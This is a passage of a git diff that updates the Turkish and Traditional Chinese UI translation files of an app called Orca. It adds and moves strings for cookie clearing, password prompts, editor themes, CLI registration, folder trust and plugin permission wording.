-        "password": "Parola",
-        "never": "Bu site için asla",
-        "notNow": "Şimdi değil",
-        "update": "Güncelle",
-        "save": "Kaydet"
-      },
-      "fill": {
-        "noUsername": "(kullanıcı adı yok)",
-        "title": "Kaydedilmiş girişler",
-        "otherLogins": "Bu sitedeki diğer girişler"
-      }
+    "googleCookieClear": {
+      "signInKeyword": "oturum açma",
+      "unavailable": "Seçili ana bilgisayarda bu profil kullanılamıyor.",
+      "explanation": "Google oturum açma bilgilerini, girişin yapıldığı tarayıcıya bağlar; bu nedenle Orca diğer tarayıcılardan Google çerezlerini içe aktarmaz. Google yanlış hesapta takılı kalıyorsa veya sizi sürekli oturumdan çıkarıyorsa, etkin profilden Google çerezlerini temizleyin ve ardından Orca’da Google’a yeniden giriş yapın. Diğer siteler oturum açmış durumda kalır.",
+      "action": "Google çerezlerini temizle…",
+      "confirmTitle": "{{profile}} profilinden Google çerezleri temizlensin mi?",
+      "confirmDescription": "Bu profilde Orca tarayıcısında Google oturumunuz kapatılacak. Diğer siteler oturum açmış durumda kalır.",
+      "clear": "Temizle",
+      "cancel": "İptal",
+      "cleared": "{{profile}} profilinden Google çerezleri temizlendi.",
+      "empty": "{{profile}} profilinde temizlenecek Google çerezi yok.",
+      "remaining": "{{profile}} profilinden bazı Google çerezleri kaldırılamadı. Yeniden deneyin.",
+      "unverified": "{{profile}} profilinin Google çerezleri denetlenemedi. Yeniden deneyin."
     },
     "loadFailure": {
       "connectionNotSecure": "Bağlantı güvenli değil",
@@ -473,6 +469,24 @@
         "imported_other": "{{domains}} için {{count}} çerez içe aktarıldı. Kullanmak için sayfayı yeniden yükleyin.",
         "failed": "Çerezler içe aktarılamadı: {{reason}}"
       }
+    },
+    "passwords": {
+      "savePrompt": {
+        "open": "Parola kaydetme önerisi",
+        "updateTitle": "Parola güncellensin mi?",
+        "saveTitle": "Parola kaydedilsin mi?",
+        "username": "Kullanıcı adı",
+        "password": "Parola",
+        "never": "Bu site için asla",
+        "notNow": "Şimdi değil",
+        "update": "Güncelle",
+        "save": "Kaydet"
+      },
+      "fill": {
+        "noUsername": "(kullanıcı adı yok)",
+        "title": "Kaydedilmiş girişler",
+        "otherLogins": "Bu sitedeki diğer girişler"
+      }
     }
   },
   "editor": {
@@ -660,6 +674,21 @@
         "sharper": "Daha keskin",
         "terminalControlledHint": "Terminal arayüzü tarafından belirlenir.",
         "terminalControlledTooltip": "Terminal arayüzünüzle eşleşiyor. Değiştirmek için Terminal arayüzüyle eşleştir seçeneğini kapatın."
+      },
+      "editorTheme": {
+        "light": "Açık düzenleyici teması",
+        "lightDescription": "Uygulama açık temadayken kod düzenleyicinin, fark görünümünün ve not defterlerinin renkleri.",
+        "dark": "Koyu düzenleyici teması",
+        "darkDescription": "Uygulama koyu temadayken kod düzenleyicinin, fark görünümünün ve not defterlerinin renkleri.",
+        "followApp": "Uygulama temasıyla aynı",
+        "title": "Düzenleyici teması",
+        "description": "Uygulama temasından bağımsız olarak kod düzenleyicinin, fark görünümünün ve not defterlerinin renkleri.",
+        "keyword": {
+          "editor": "düzenleyici",
+          "code": "kod",
+          "monaco": "monaco",
+          "syntax": "sözdizimi"
+        }
       }
     },
     "browser": {
@@ -860,6 +889,7 @@
       "defaultSurfaceSetAllChat": "Tümünü Sohbet yap",
       "defaultSurfaceSetAllTerminal": "Tümünü Terminal yap",
       "sameAsChoice": "{{agent}} ile aynı · {{choice}}",
+      "modelListFallback": "Yerleşik liste. Orca bu ana makineden model listesi alamadı.",
       "chatUnavailableOnWindows": "{{value0}} Chat henüz Windows'ta kullanılamıyor, bu nedenle {{value0}} bu ana makinede bir terminalde açılır. macOS veya Linux ana makinesindeki sohbetler çalışmaya devam eder.",
       "undetectedCommandHint": "{{agent}} CLI, PATH dışında kuruluysa bu ana makinedeki yürütülebilir dosyanın tam yolunu girin."
     },
@@ -1885,6 +1915,39 @@
         "title": "Windows sürücüsündeki klasörleri bu bilgisayarda ekleyin",
         "descriptionWithPath": "{{value0}} bir Windows sürücüsünde bulunuyor. WSL'deki Git burada gerçekte olmayan satır sonu değişiklikleri bildirir, Windows üzerinden yapılan düzenlemeleri algılamaz ve yavaş arama yapar.",
         "description": "Bu klasör bir Windows sürücüsünde bulunuyor. WSL'deki Git burada gerçekte olmayan satır sonu değişiklikleri bildirir, Windows üzerinden yapılan düzenlemeleri algılamaz ve yavaş arama yapar."
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "Orca’yı WSL’den kullanmak için {{path}} kaydedin.",
+          "registerForTerminal": "Orca’yı terminalden kullanmak için {{path}} kaydedin.",
+          "registerForWindowsShell": "Orca’yı Komut İstemi veya PowerShell’den kullanmak için {{path}} kaydedin.",
+          "devLauncherOnly": "Geliştirme modu yalnızca doğrulama için oluşturulmuş bir başlatıcı kullanır.",
+          "differentLauncher": "{{path}} farklı bir başlatıcıyı gösteriyor.",
+          "launcherMissing": "Bu Orca derlemesinde paketlenmiş CLI başlatıcısı eksik.",
+          "noWslDistro": "Kullanılabilir WSL dağıtımı yok.",
+          "notOrcaLauncherScript": "{{path}} mevcut ancak bir Orca başlatıcı betiği değil.",
+          "notOrcaSymlink": "{{path}} mevcut ancak bir Orca sembolik bağlantısı değil.",
+          "olderLauncher": "{{path}} eski bir Orca başlatıcısı içeriyor.",
+          "platformUnsupported": "CLI kaydı bu platformda uygulanmamış.",
+          "readlinkPermissionDenied": "Orca’nın {{path}} öğesini denetleme izni yok. Yolun ve üst dizininin izinlerini kontrol edip yeniden deneyin.",
+          "registeredAt": "{{path}} konumuna kaydedildi.",
+          "registeredInDistroAt": "{{distro}} içinde {{path}} konumuna kaydedildi.",
+          "registrationUnavailable": "CLI kaydı bu derlemede kullanılamıyor.",
+          "unreadableSymlink": "{{path}} okunamıyor. Onarmak için yeniden kaydedin.",
+          "windowsLauncherMissing": "Windows Orca CLI başlatıcısı eksik.",
+          "windowsPathCheckFailed": "Orca başlatıcısı mevcut ancak Orca Windows kullanıcı PATH’inizi denetleyemedi.",
+          "windowsPathTimedOut": "Windows PATH komutu {{ms}} ms sonra zaman aşımına uğradı.",
+          "wslCommandTimedOut": "WSL komutu {{ms}} ms sonra zaman aşımına uğradı.",
+          "wslDistroUnreachable": "WSL dağıtımına ulaşılamadı. Yeniden deneyin.",
+          "wslHomeUnresolved": "WSL ana dizini çözümlenemedi.",
+          "wslInteropUnavailable": "WSL Windows birlikte çalışabilirliği kullanılamıyor; Orca, Windows CLI’yi WSL’den başlatamıyor.",
+          "wslRegistrationUnavailable": "WSL CLI kaydı kullanılamıyor.",
+          "wslWindowsOnly": "WSL CLI kaydı yalnızca Windows’ta kullanılabilir."
+        }
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "Sistem tarayıcısında açmak için {{shortcut}}+tıklayın",
+        "tooltip": "{{label}}. {{hint}}"
       }
     },
     "hooks": {
@@ -2465,7 +2528,6 @@
         "23886c7eec": "Etiket ekle",
         "7f7b89b631": "Etiketler: {{value0}}",
         "b2376d0179": "Üyeler yükleniyor",
-        "866316f22c": "Atanmamış",
         "b5675b0694": "Kaydet",
         "ceeb8c6153": "Temizle",
         "fbb90300e2": "Özel tahmin",
@@ -3645,7 +3707,6 @@
               "f4c79cff5f": "Aşağıdaki çalışma alanı hatasını inceleyin, ardından yenileyin.",
               "ef90b21366": "Görünüm bulunamadı",
               "c0a50f96a4": "Görünümler yüklenemedi",
-              "df4bd63c1d": "Atanmamış",
               "30402d2c6e": "Arayın veya yenilemeyi deneyin.",
               "a2f31c4cd6": "Linear projesi bulunamadı",
               "c9b6e9f90d": "Linear projeleri yüklenemedi",
@@ -7293,6 +7354,19 @@
           "needsInput": "Girdi gerekiyor",
           "running": "Çalışıyor",
           "idle": "Boşta"
+        },
+        "hostSection": {
+          "localWindows": "Yerel Windows",
+          "localMac": "Yerel Mac",
+          "localLinux": "Yerel Linux",
+          "thisComputer": "Bu bilgisayar",
+          "host": "Sunucu"
+        },
+        "workspaceBoardStatus": {
+          "todo": "Yapılacak",
+          "inProgress": "Devam ediyor",
+          "inReview": "İncelemede",
+          "done": "Tamamlandı"
         }
       },
       "shared": {
@@ -7359,6 +7433,21 @@
         }
       },
       "settings": {
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "Yerel Main'i Güncel Tut"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
         "AccountsPane": {
           "locationSaveFailed": "Hesap konumu kaydedilemedi. Tekrar deneyin.",
           "dbb9626ed1": "İptal",
@@ -7584,7 +7673,6 @@
           "5f5142a62a": "Önceki simge"
         },
         "AppearancePane": {
-          "3057983501": "Atanmamış",
           "b707773a0d": "Etkinleştirildiğinde, pencereyi kapatmak Orca'dan çıkmak yerine onu sistem tepsisinde çalışır durumda tutar.",
           "0cd9b8228f": "Dock ve pencere değiştiricide gösterilen uygulama simgesini seçin.",
           "61d842eca0": "Orca Mobile kısayolunu kenar çubuğunda gösterin. Araç kutusundan erişilebilir olmaya devam eder.",
@@ -7712,6 +7800,9 @@
           "333984cf90": "Mevcut bir tarayıcı oturumunu kullan",
           "9895ed44de": "Computer Use'u Aç"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "Ajan Tarayıcı Kullanımını Etkinleştir"
+        },
         "BrowserUseExamples": {
           "1199258ace": "Kopyala",
           "1188e56af4": "Örnek istemi kopyala",
@@ -7952,10 +8043,6 @@
             "modeAriaLabel": "Ajan Panosu açılış modu",
             "modeInWindow": "Pencere içi",
             "modePopout": "Ayrı pencere"
-          },
-          "browserExtensions": {
-            "copy": "Yerel tarayıcı profilleri için Ayarlar › Tarayıcı › Uzantılar bölümünü ekler.",
-            "toggleLabel": "Tarayıcı uzantılarını aç/kapat"
           }
         },
         "FloatingWorkspacePane": {
@@ -8716,6 +8803,9 @@
           "d32b87e754": "Mevcutsa inceleme şablonunu kullan",
           "981eae7e14": "Varsayılan olarak taslak"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "Kaynak Kontrolü AI"
+        },
         "RuntimeAccessGrantList": {
           "sshAccessCaveat": "Buradan erişimi iptal etmek, bu bilgisayara SSH erişimi olan birinin yeniden eşleştirme yapmasını engellemez. Bağlantısını kesmek için SSH erişimini kaldırın.",
           "6f6d5188ed": "{{value0}} öğesini iptal et",
@@ -10118,13 +10208,6 @@
               "inWindow": "pencere içinde",
               "worktrees": "worktree'ler",
               "eaf17a7214": "Ajan Panosu"
-            },
-            "browserExtensions": {
-              "title": "Tarayıcı eklentileri",
-              "description": "Orca tarayıcı sekmelerinde parola yöneticileri gibi Chrome eklentilerini çalıştırın.",
-              "extension": "eklenti",
-              "chrome": "chrome",
-              "password": "parola yöneticisi"
             }
           }
         },
@@ -11291,7 +11374,7 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Orca bir ajan başlattığında klasöre güven",
-          "description": "Orca'nın başlattığı ajanlar \"Bu klasöre güveniyor musunuz?\" sorusunu atlayabilir; böylece projenin ajan kancaları ve ayarları hemen çalışır. Orca her repository için orada ilk kez bir ajan başlattığınızda bir kez sorar; yanıtı o repository'nin ayarlarından değiştirebilirsiniz. Ajanların her zaman sorması için bunu kapatın. Orkestrasyon çalışanı, otomasyon veya telefonunuzdan başlatılan bir ajan gibi gözetiminiz dışında çalışırken soru soran bir ajan, terminalinde yanıt verene kadar bekler. Zaten güvenilen klasörlere güvenilmeye devam edilir."
+          "description": "Orca'nın başlattığı ajanlar \"Bu klasöre güveniyor musunuz?\" sorusunu atlayabilir; böylece projenin ajan kancaları ve ayarları hemen çalışır. Bunu bir repository için o repository'nin ayarlarından kapatabilirsiniz. Ajanların her zaman sorması için bunu kapatın. Orkestrasyon çalışanı, otomasyon veya telefonunuzdan başlatılan bir ajan gibi gözetiminiz dışında çalışırken soru soran bir ajan, terminalinde yanıt verene kadar bekler. Zaten güvenilen klasörlere güvenilmeye devam edilir."
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "Sekme başlıklarını otomatik oluştur",
@@ -11883,11 +11966,11 @@
             "secrets": "Eklentinin kendi şifreli kasasında gizli bilgileri saklar ve okur",
             "settingsOwn": "Eklentinin kendi ayarlarını okur ve değiştirir",
             "agentsRead": "Ajan durumu değiştiğinde bildirim al",
-            "terminalRun": "Terminallerinizde komut çalıştırma (SSH dahil)"
+            "terminalRun": "SSH dahil terminalinizde komut çalıştır"
           },
           "decisionFailed": "İzin kararı kaydedilemedi. Tekrar deneyin.",
           "fullAccessWarning": "Tam erişim: normal bir program gibi çalışır; dosyalarınızı okuyabilir, ağı kullanabilir, başka programlar çalıştırabilir ve terminalleriniz ile ajanlarınız dahil Orca'yı kontrol edebilir.",
-          "uiWarning": "Görünümünü çizmek için yayımcının kodunu Orca içinde çalıştırır. Orca neye erişebildiğini gösterir ve etkinleştirmeden önce sorar."
+          "uiWarning": "Görünümünü çizmek için yayıncının kodunu Orca içinde çalıştırır. Orca nelerin erişebileceğini gösterir ve etkinleştirmeden önce sorar."
         },
         "PluginConsentProvenance": {
           "official": "Resmi",
@@ -13050,9 +13133,9 @@
         "PluginCardAction": {
           "installed": "Yüklendi",
           "installing": "Yükleniyor…",
-          "reviewLabel": "{{value0}} eklentisini incele ve yükle",
+          "reviewLabel": "{{value0}} öğesini incele ve yükle",
           "review": "İncele ve yükle",
-          "retry": "Tekrar dene"
+          "retry": "Yeniden dene"
         },
         "PluginContributionActionLanguage": {
           "switch": "Dili değiştir",
@@ -13139,7 +13222,7 @@
           "commands": "Komutlar ve paneller",
           "catalogLabel": "Kataloğa göre filtrele",
           "editors": "Düzenleyiciler",
-          "remoteVms": "Uzak/VM",
+          "remoteVms": "Uzak/VM'ler",
           "games": "Oyunlar",
           "agents": "Ajanlar",
           "integrations": "Entegrasyonlar"
@@ -13154,9 +13237,9 @@
         "PluginInstallConsent": {
           "noOtherAccess": "Başka erişim yok",
           "replacesShortcut": "{{value0}} ({{value1}}), {{value2}} için kısayolunuzun yerini alır.",
-          "updatesKeepApproval": "Güncellemeler yalnızca yeni erişim için tekrar sorar",
-          "fullAccessUpdates": "Güncellemeler kodunu sormadan değiştirebilir",
-          "editsFileTypes": "Orca'da {{value0}} dosyalarını açar ve düzenler. Açtığı dosyaları okuyabilir.",
+          "updatesKeepApproval": "Güncellemeler yalnızca yeni erişim için yeniden sorar",
+          "fullAccessUpdates": "Güncellemeler kodu sormadan değiştirebilir",
+          "editsFileTypes": "Orca’da {{value0}} dosyalarını açar ve düzenler. Açtığı dosyaları okuyabilir.",
           "install": "Yükle ve etkinleştir",
           "keepOff": "Kapalı tut"
         },
@@ -13239,7 +13322,7 @@
           "fullAccess": "Tam erişim",
           "addsVmRecipes": "VM tarifleri ekler",
           "opensAndEditsFiles": "Dosyaları açar ve düzenler",
-          "runsPluginCode": "Eklenti kodu çalıştırır"
+          "runsPluginCode": "Eklenti kodunu çalıştırır"
         },
         "pluginTryAction": {
           "incompleteLanguage": "Bu dil paketi geçiş yapılamayacak kadar eksik."
@@ -13382,27 +13465,6 @@
           "shownPluginCount_one": "Bu dahil eşleşen {{count}} eklenti gösteriliyor",
           "shownPluginCount_other": "Bu dahil eşleşen {{count}} eklenti gösteriliyor",
           "samePublisher": "{{value0}} olarak listelenen diğerleri"
-        },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "Kaynak Kontrolü AI"
-        },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "Yerel Main'i Güncel Tut"
-                    }
-                  }
-                }
-              }
-            }
-          }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "Ajan Tarayıcı Kullanımını Etkinleştir"
         }
       },
       "right": {
@@ -18448,7 +18510,6 @@
         "status": "Durum",
         "priority": "Öncelik",
         "assignee": "Atanan kişi",
-        "unassigned": "Atanmamış",
         "labels": "Etiketler",
         "countSelected": "{{count}} seçili",
         "partialCoverageMarker": "· kısmi",
@@ -18543,7 +18604,9 @@
         "failingChip": "{{value0}} başarısız",
         "pendingChip": "{{value0}} bekleyen",
         "needsActionChip": "{{value0}} işlem gerekiyor",
-        "unresolvedChip": "{{value0}} çözülmemiş"
+        "unresolvedChip": "{{value0}} çözülmemiş",
+        "noChecks": "Kontrol bulunamadı",
+        "passingSummary": "{{value0}}/{{value1}} kontrol başarılı"
       },
       "BrowserPane": {
         "streamConnectionLost": "Uzak sunucuyla bağlantı kesildi.",
@@ -18971,14 +19034,10 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "{{repo}} ajanlar için güvenilir olsun mu?",
-        "prompt-description": "Claude Code ve Codex gibi ajanlar, projenin komut çalıştırabilen kendi ajan ayarlarını ve kancalarını yüklemeden önce \"Bu klasöre güveniyor musunuz?\" diye sorar. Orca, bu repository'nin tüm worktree'lerinde sizin yerinize evet diyebilir.",
-        "prompt-remembered": "Orca bu repository için verdiğiniz yanıtı hatırlar. Yanıtı repository ayarlarından değiştirebilirsiniz.",
         "trust-repository": "Repository'ye güven",
         "let-agents-ask": "Ajanlar sorsun",
         "setting-title": "Ajan Klasör Güveni",
         "setting-description": "Orca'nın bu repository'nin worktree'lerinde başlattığı ajanların \"Bu klasöre güveniyor musunuz?\" sorusunu atlayıp projenin ajan ayarlarını ve kancalarını hemen yükleyip yüklemeyeceği.",
-        "setting-undecided": "Henüz karar verilmedi. Burada bir sonraki ajan başlatışınızda Orca soracak.",
         "setting-global-off": "Klasör güveni Ajanlar ayarlarında kapalı olduğundan ajanlar her zaman sorar.",
         "keyword-trust": "güven",
         "keyword-hooks": "kancalar"
diff --git a/src/renderer/src/i18n/locales/zh-Hant.json b/src/renderer/src/i18n/locales/zh-Hant.json
index 68e7f0ba2ae..3bba50b9b5c 100644
--- a/src/renderer/src/i18n/locales/zh-Hant.json
+++ b/src/renderer/src/i18n/locales/zh-Hant.json
@@ -216,23 +216,19 @@
     }
   },
   "browser": {
-    "passwords": {
-      "savePrompt": {
-        "open": "儲存密碼提示",
-        "updateTitle": "更新密碼？",
-        "saveTitle": "儲存密碼？",
-        "username": "使用者名稱",
-        "password": "密碼",
-        "never": "永不儲存此網站的密碼",
-        "notNow": "暫時不要",
-        "update": "更新",
-        "save": "儲存"
-      },
-      "fill": {
-        "noUsername": "（沒有使用者名稱）",
-        "title": "已儲存的登入資料",
-        "otherLogins": "此網站的其他登入資料"
-      }
+    "googleCookieClear": {
+      "signInKeyword": "登入",
+      "unavailable": "所選主機上的此設定檔無法使用。",
+      "explanation": "Google 會將登入狀態綁定在登入時所用的瀏覽器上，因此 Orca 不會從其他瀏覽器匯入 Google Cookie。如果 Google 卡在錯誤的帳戶，或反覆讓您登出，請清除目前設定檔中的 Google Cookie，然後在 Orca 中重新登入 Google。其他網站仍保持登入狀態。",
+      "action": "清除 Google Cookie…",
+      "confirmTitle": "要清除「{{profile}}」中的 Google Cookie 嗎？",
+      "confirmDescription": "此設定檔在 Orca 瀏覽器中將登出 Google，其他網站仍保持登入狀態。",
+      "clear": "清除",
+      "cancel": "取消",
+      "cleared": "已清除「{{profile}}」中的 Google Cookie。",
+      "empty": "「{{profile}}」中沒有可清除的 Google Cookie。",
+      "remaining": "無法從「{{profile}}」中移除部分 Google Cookie，請再試一次。",
+      "unverified": "無法檢查「{{profile}}」的 Google Cookie，請再試一次。"
     },
     "loadFailure": {
       "connectionNotSecure": "連線不安全",
@@ -446,6 +442,24 @@
         "imported_other": "已為 {{domains}} 匯入 {{count}} 個 Cookie。請重新載入頁面以使用這些 Cookie。",
         "failed": "Cookie 匯入失敗：{{reason}}"
       }
+    },
+    "passwords": {
+      "savePrompt": {
+        "open": "儲存密碼提示",
+        "updateTitle": "更新密碼？",
+        "saveTitle": "儲存密碼？",
+        "username": "使用者名稱",
+        "password": "密碼",
+        "never": "永不儲存此網站的密碼",
+        "notNow": "暫時不要",
+        "update": "更新",
+        "save": "儲存"
+      },
+      "fill": {
+        "noUsername": "（沒有使用者名稱）",
+        "title": "已儲存的登入資料",
+        "otherLogins": "此網站的其他登入資料"
+      }
     }
   },
   "editor": {
@@ -633,6 +647,21 @@
         "sharper": "更清晰",
         "terminalControlledHint": "由終端機介面設定。",
         "terminalControlledTooltip": "目前與終端機介面一致。若要變更此項，請關閉「與終端機介面一致」。"
+      },
+      "editorTheme": {
+        "light": "淺色編輯器主題",
+        "lightDescription": "應用程式使用淺色主題時的程式碼編輯器、差異檢視和筆記本顏色。",
+        "dark": "深色編輯器主題",
+        "darkDescription": "應用程式使用深色主題時的程式碼編輯器、差異檢視和筆記本顏色。",
+        "followApp": "與應用程式主題相同",
+        "title": "編輯器主題",
+        "description": "獨立於應用程式主題設定程式碼編輯器、差異檢視和筆記本的顏色。",
+        "keyword": {
+          "editor": "編輯器",
+          "code": "程式碼",
+          "monaco": "monaco",
+          "syntax": "語法"
+        }
       }
     },
     "browser": {
@@ -833,6 +862,7 @@
       "defaultSurfaceSetAllChat": "全部設為聊天",
       "defaultSurfaceSetAllTerminal": "全部設為終端機",
       "sameAsChoice": "與 {{agent}} 相同 · {{choice}}",
+      "modelListFallback": "內建清單。Orca 無法從此主機取得模型清單。",
       "chatUnavailableOnWindows": "{{value0}} Chat 尚不支援 Windows，因此 {{value0}} 會在此主機的終端機中開啟。macOS 或 Linux 主機上的聊天仍可正常使用。",
       "undetectedCommandHint": "如果 {{agent}} CLI 安裝在 PATH 之外，請輸入其在此主機上的可執行檔完整路徑。"
     },
@@ -1857,6 +1887,46 @@
         "title": "在這台電腦上新增 Windows 磁碟機中的資料夾",
         "descriptionWithPath": "{{value0}} 位於 Windows 磁碟機上。WSL 中的 Git 會在此位置誤報行尾字元變更、漏掉從 Windows 進行的編輯，搜尋速度也較慢。",
         "description": "此資料夾位於 Windows 磁碟機上。WSL 中的 Git 會在此位置誤報行尾字元變更、漏掉從 Windows 進行的編輯，搜尋速度也較慢。"
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "註冊 {{path}} 以從 WSL 使用 Orca。",
+          "registerForTerminal": "註冊 {{path}} 以從終端機使用 Orca。",
+          "registerForWindowsShell": "註冊 {{path}} 以從命令提示字元或 PowerShell 使用 Orca。",
+          "devLauncherOnly": "開發模式僅使用產生的啟動器進行驗證。",
+          "differentLauncher": "{{path}} 指向其他啟動器。",
+          "launcherMissing": "此 Orca 版本缺少隨附的 CLI 啟動器。",
+          "noWslDistro": "沒有可用的 WSL 發行版。",
+          "notOrcaLauncherScript": "{{path}} 已存在，但不是 Orca 啟動器指令碼。",
+          "notOrcaSymlink": "{{path}} 已存在，但不是 Orca 符號連結。",
+          "olderLauncher": "{{path}} 包含舊版 Orca 啟動器。",
+          "platformUnsupported": "此平台尚未實作 CLI 註冊。",
+          "readlinkPermissionDenied": "Orca 沒有權限檢查 {{path}}。請檢查該路徑及其父目錄的權限，然後再試一次。",
+          "registeredAt": "已註冊至 {{path}}。",
+          "registeredInDistroAt": "已在 {{distro}} 中註冊至 {{path}}。",
+          "registrationUnavailable": "此組建版本不支援 CLI 註冊。",
+          "unreadableSymlink": "無法讀取 {{path}}。請重新註冊以修復。",
+          "windowsLauncherMissing": "缺少 Windows 版 Orca CLI 啟動器。",
+          "windowsPathCheckFailed": "Orca 啟動器已存在，但 Orca 無法檢查您的 Windows 使用者 PATH。",
+          "windowsPathTimedOut": "Windows PATH 命令在 {{ms}} 毫秒後逾時。",
+          "wslCommandTimedOut": "WSL 命令在 {{ms}} 毫秒後逾時。",
+          "wslDistroUnreachable": "無法連線到 WSL 發行版。請再試一次。",
+          "wslHomeUnresolved": "無法解析 WSL 主目錄。",
+          "wslInteropUnavailable": "WSL 的 Windows 互通功能無法使用；Orca 無法從 WSL 啟動 Windows CLI。",
+          "wslRegistrationUnavailable": "WSL CLI 註冊無法使用。",
+          "wslWindowsOnly": "WSL CLI 註冊僅適用於 Windows。"
+        }
+      },
+      "projectHostSetupOptions": {
+        "locationNotSet": "尚未設定專案位置"
+      },
+      "workspacePortScan": {
+        "serverSshUpdateRequired": "請更新伺服器以查看其 SSH 主機上的連接埠。",
+        "hostMismatch": "伺服器掃描的主機與此工作區執行所在的主機不同。"
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "按住 {{shortcut}} 並點擊以在系統瀏覽器中開啟",
+        "tooltip": "{{label}}。{{hint}}"
       }
     },
     "hooks": {
@@ -2433,7 +2503,6 @@
         "23886c7eec": "新增標籤",
         "7f7b89b631": "標籤： {{value0}}",
         "b2376d0179": "正在載入成員",
-        "866316f22c": "未指派",
         "b5675b0694": "儲存",
         "ceeb8c6153": "清除",
         "fbb90300e2": "自訂估計值",
@@ -3596,7 +3665,6 @@
               "f4c79cff5f": "檢視下面的工作區錯誤，然後重新整理。",
               "ef90b21366": "未找到任何檢視",
               "c0a50f96a4": "無法載入檢視",
-              "df4bd63c1d": "未指派",
               "30402d2c6e": "嘗試搜尋或重新整理。",
               "a2f31c4cd6": "未找到 Linear 專案",
               "c9b6e9f90d": "無法載入 Linear 專案",
@@ -7130,6 +7198,19 @@
           "needsInput": "需要輸入",
           "running": "執行中",
           "idle": "閒置"
+        },
+        "hostSection": {
+          "localWindows": "本機 Windows",
+          "localMac": "本機 Mac",
+          "localLinux": "本機 Linux",
+          "thisComputer": "這台電腦",
+          "host": "主機"
+        },
+        "workspaceBoardStatus": {
+          "todo": "待處理",
+          "inProgress": "進行中",
+          "inReview": "審核中",
+          "done": "已完成"
         }
       },
       "shared": {
@@ -7196,6 +7277,21 @@
         }
       },
       "settings": {
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "保持本機 main 最新"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
         "AccountsPane": {
           "locationSaveFailed": "無法儲存帳戶位置。請再試一次。",
           "dbb9626ed1": "取消",
@@ -7421,7 +7517,6 @@
           "5f5142a62a": "上一個圖示"
         },
         "AppearancePane": {
-          "3057983501": "未指派",
           "b707773a0d": "啟用後，關閉視窗會讓 Orca 繼續在系統匣中執行，而不是結束程式。",
           "0cd9b8228f": "選擇 Dock 和視窗切換器中顯示的應用程式圖示。",
           "61d842eca0": "在側邊欄中顯示 Orca Mobile 捷徑。仍可從工具箱開啟。",
@@ -7549,6 +7644,9 @@
           "333984cf90": "使用現有的瀏覽器工作階段",
           "9895ed44de": "開啟電腦使用"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "啟用代理程式使用瀏覽器"
+        },
         "BrowserUseExamples": {
           "1199258ace": "複製",
           "1188e56af4": "複製提示詞範例",
@@ -7789,10 +7887,6 @@
             "modeAriaLabel": "代理程式儀表板開啟模式",
             "modeInWindow": "視窗內",
             "modePopout": "彈出視窗"
-          },
-          "browserExtensions": {
-            "copy": "為本機瀏覽器設定檔新增「設定 › 瀏覽器 › 擴充功能」。",
-            "toggleLabel": "切換瀏覽器擴充功能"
           }
         },
         "FloatingWorkspacePane": {
@@ -8553,6 +8647,9 @@
           "d32b87e754": "可用時使用審查範本",
           "981eae7e14": "預設草稿"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "原始碼控制 AI"
+        },
         "RuntimeAccessGrantList": {
           "sshAccessCaveat": "在此撤銷存取權，無法阻止擁有此電腦 SSH 存取權限的人再次配對。若要阻止其存取，請移除其 SSH 存取權限。",
           "6f6d5188ed": "撤銷 {{value0}}",
@@ -9955,13 +10052,6 @@
               "inWindow": "視窗內",
               "worktrees": "工作樹",
               "eaf17a7214": "代理程式儀表板"
-            },
-            "browserExtensions": {
-              "title": "瀏覽器擴充功能",
-              "description": "在 Orca 瀏覽器分頁中執行 Chrome 擴充功能，例如密碼管理工具。",
-              "extension": "擴充功能",
-              "chrome": "chrome",
-              "password": "密碼管理工具"
             }
           }
         },
@@ -11128,7 +11218,7 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Orca 啟動代理程式時信任該資料夾",
-          "description": "Orca 啟動的代理程式可以略過「是否信任此資料夾？」的詢問，因此專案的代理程式鉤子和設定會立即執行。Orca 會在每個存放庫中首次啟動代理程式時詢問一次，你可以在該存放庫的設定中變更回答。關閉此項可讓代理程式一律自行詢問。在你沒有看著時執行的代理程式（例如編排工作行程、自動化以及從手機啟動的代理程式）若發出詢問，會一直等待，直到你在它的終端機中作答。已信任的資料夾仍保持信任。"
+          "description": "Orca 啟動的代理程式可以略過「是否信任此資料夾？」的詢問，因此專案的代理程式鉤子和設定會立即執行。你可以在某個存放庫的設定中為該存放庫關閉此項。關閉此項可讓代理程式一律自行詢問。在你沒有看著時執行的代理程式（例如編排工作行程、自動化以及從手機啟動的代理程式）若發出詢問，會一直等待，直到你在它的終端機中作答。已信任的資料夾仍保持信任。"
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "自動產生分頁標題",
@@ -11719,12 +11809,12 @@
             "storage": "在外掛自己的儲存資料夾中儲存資料",
             "secrets": "在外掛自己的加密保險庫中儲存和讀取機密資料",
             "settingsOwn": "讀取和變更外掛自己的設定",
-            "agentsRead": "在代理狀態變更時收到通知",
-            "terminalRun": "在你的終端機中執行命令，包括 SSH"
+            "agentsRead": "代理程式狀態變更時收到通知",
+            "terminalRun": "在您的終端機中執行命令，包括 SSH"
           },
           "decisionFailed": "無法儲存權限決定。請重試。",
           "fullAccessWarning": "完整存取：以一般程式執行，可以讀取你的檔案、使用網路、執行其他程式，並控制 Orca（包括你的終端機和代理程式）。",
-          "uiWarning": "在 Orca 內執行發布者的程式碼來繪製其畫面。Orca 會顯示它能存取的內容，並在啟用前先詢問你。"
